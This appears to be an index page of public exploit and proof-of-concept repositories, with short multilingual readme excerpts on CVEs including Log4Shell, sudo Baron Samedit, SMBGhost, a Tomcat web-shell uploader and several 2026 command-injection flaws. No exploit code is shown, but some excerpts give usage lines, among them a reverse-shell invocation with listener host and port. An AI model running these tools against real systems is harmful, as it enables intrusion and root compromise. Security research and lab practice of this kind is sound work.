cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass フラグの内容を取得する方法は2つあります: 1. ホストからコンテナのマウントディレクトリにコピーする; 2. リバースシェルを使用して取得する;...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ 重要（最初にお読みください） このリポジトリには、CTF / ラボ専用のJava PoC（概念実証）が含まれています。所有していないシステム、または明示的な書面による許可を得ていないシステムに対してこのコードを実行しないでください。不正なエクスプロイトは違法です。隔離された環境（VM、コンテナ、プライベートCTF/HTBボックス）でのみ使用してください。 前提条件 Java JDK 8+ がインストールされていること（PATHにjavacとjavaが含まれていること） 攻撃マシンとターゲット（ラボ/CTFネットワーク）の間のネットワーク接続...

Log4Shell-CVE-2021-44228-ENV

Log4Shell再現環境 例の説明 被害マシンIP：47.47.47.47 攻撃マシンIP：48.48.48.48 被害マシンで脆弱性Dockerを実行 DockerFileを使用してDockerイメージをビルドして実行： docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 攻撃マシンで攻撃Dockerを実行 DockerFileを使用してDockerイメージをビルドして実行 docker build . -t attack docker run -itd -p 9999:9999 -p 8888:8888 -...

CVE-2016-6662

CVE-2016-6662 SQLインジェクションからrootシェルへ：CVE-2016-6662を使用したMaYaSeVeNによる 概念実証: https://www.youtube.com/watch?v=lyc7GFE3q2U...

CVE-2024-48990-POC

CVE-2024-48990-POC CVE-2024-48990 の needrestart における権限昇格の脆弱性に対するシンプルなPoCです。 https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 概要 これはHackTheBoxのチャレンジ「Conversor」に取り組んでいる際に作成されました。 後でより汎用的にするために若干の修正を加える予定です。自分のユースケースに合う既存の実装が気に入らなかったため、独自に作ることにしました。 おそらく後でさらに追加します。 注記 :...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit vsftpd 2.3.4 CVE-2011-2523 でroot権限を取得するためのエクスプロイト（Pythonで書かれています） 使い方: ./exploit.py $VictimIPaddress 注意! このエクスプロイトはリバースではなくシェルを開きます。エクスプロイト実行後にリバースシェルを開くことをお勧めします。ここでは、被害者のホストにどのようなツールや権限があるかを仮定したくなかったので、その操作は含めていません。 以下でも見つけることができます: https://www.exploit-db.com/exploits/49757...

CVE-2021-3156-plus

CVE-2021-3156 This is a warehouse modification based on @CptGibbon and supports arbitrary command execution. 相关阅读：CVE-2021-3156 - Exploit修改 Root shell PoC for CVE-2021-3156 no bruteforce For educational purposes etc. Tested on : @CptGibbon Ubuntu 20.04 against sudo 1.8.31 @Rvn0xsy Ubuntu 17.10 Al...

CVE-2025-24813-POC

JSP Web Shell Uploader HTTP PUTリクエストを使用して、基本的なJSPウェブシェルを1つ以上のターゲットにアップロードするシンプルなPythonツールです。 ⚠️ 教育および許可された侵入テストのみを目的としています。 Apache Tomcatは、パス中の../シーケンスの不適切な処理により、パス等価性/パストラバーサルの脆弱性が存在します。 CVE ID: CVE-2025-24813 重要度: クリティカル 参考リンク: https://github.com/advisories/GHSA-83qj-6fr2-vhqg 🧰 機能...

CVE-2026-101032: Improper Neutralization of Special Elements used in an OS Command

navi through 2.24.0 fails to properly escape cheatsheet variable values when substituting them into shell commands. Attackers can inject shell metacharacters through crafted file names in suggestion command directories to execute arbitrary commands with victim privileges...

CVE-2026-100844: Improper Neutralization of Special Elements used in an OS Command

MONAI before 1.6.0 is vulnerable to OS command injection in the nnUNetV2Runner component monai.apps.nnunet.nnunetv2runner. User-controlled values taken from the YAML configuration file notably datasetnameorid and from CLI/kwargs arguments are concatenated into a command string without quoting or...

CVE-2026-27626-POC

CVE-2026-27626: OliveTin のパスワード引数コマンドインジェクション OliveTin を使用すると、管理者は「アクション」を定義できます。これは、ユーザーが Web UI または API からトリガーできるパラメータ化された引数を持つシェルコマンドです。ユーザー指定の値をシェルコマンドにテンプレート展開する前に、OliveTin はそれを checkShellArgumentSafety に通すことになっています。この関数は、string、int、bool、choice の 4 つの引数タイプをチェックします。password...

CVE-2026-50979

CVE-2026-50979: oPanelにおける認証済みリモートコード実行 概要 CVE ID: CVE-2026-50979 製品名: oPanel 影響を受けるバージョン: v1.19.50 およびそれ以前 脆弱性タイプ: 認証済みコマンドインジェクション / リモートコード実行 RCE 脆弱性コンポーネント: /advanced/curl エンドポイント 深刻度: 重大 説明 oPanel バージョン v1.19.50 およびそれ以前 の advanced/curl エンドポイントにコマンドインジェクションの脆弱性が存在します。アプリケーションは、url...

CVE-2020-0796

CVE-2020-0796 動作するエクスプロイトPoC CVE-2020-0796 - リバースバインドシェル Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-33017-Exploit

Fireflow RCE Exploit Remote Code Execution for Langflow via the buildpublictmp endpoint. Exploit via Public Flow Build Endpoint that executes a reverse shell on the target. Requirements Python 3.8+ httpx library Install: pip install httpx Usage python exploit.py -u -l -p --flow-id --client-id...

CVE-2025-31644

CVE-2025-31644：F5 BIG-IP 设备模式下的命令注入 "save" 命令的 "file" 参数存在命令注入漏洞，拥有 "/mgmt" Web API 或 SSH "tmsh" shell 管理员权限的认证攻击者可利用该漏洞，在目标系统上以 "root" 用户身份获得远程代码执行能力。 注意： 仅当 BIG-IP 以设备模式运行时，此发现才被视为漏洞，因为这可能允许具有管理员角色的认证攻击者绕过设备模式的安全机制，而该机制原本会阻止任意高级 Shell（bash）命令的执行。 厂商披露： 有关此漏洞的厂商披露和修复方案，请参见此处。 要求： 此漏洞需要： 有效的用户凭据...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 Reverse Shell Exploit for XWiki Disclaimer: This script is intended for educational purposes and authorized security testing only. Do not use on systems you do not own or have explicit permission to test. Misuse can be illegal and dangerous. Description This Python script exploits...

CVE-2022-37706

CVE-2022-37706 CVE-2022-37706 脆弱性は、Enlightenment ウィンドウマネージャ、特にenlightenmentsysバイナリに関連しています。このバイナリにはSUID （Set User ID）ビットが有効になっており、昇格された権限（通常はrootユーザー）で実行できることを意味します。 概要: 脆弱性 : CVE-2022-37706はローカル権限昇格の脆弱性です。 コンポーネント : Enlightenmentウィンドウマネージャのenlightenmentsysバイナリ。 問題 :...

React2Shell

🚀 R2S - Next.js RSC Exploit Framework Advanced Post-Exploitation Framework for Next.js React Server Components RCE Features • Installation • Usage • Commands • Examples 📋 Overview R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components...

cve-2024-31317

Exploration of CVE-2024-31317 CVE-2024-31317 provides unpriviledged access to any uid and SELinux scope available to proper Android apps. This provides access to uid 1000 system and uid 2000 shell, and can be triggered entirely from an unpriviledged app, allowing for persistence of any...

CVE-2019-9624

CVE-2019-9624 Webmin 1.9.0 の認証済み RCE Webmin 1.900 認証済み RCE - CVE-2019-9624 エクスプロイト 1. 脆弱性の説明 CVE-2019-9624 は、Webmin バージョン 1.900 以前に存在する認証済みリモートコード実行（RCE）脆弱性です。管理ユーザーが shell または file モジュールを介して、root 権限 で任意のシステムコマンドを実行できるようになります。 2. 技術的な実行フロー ステップ 1: 認証とセッション管理 Webmin...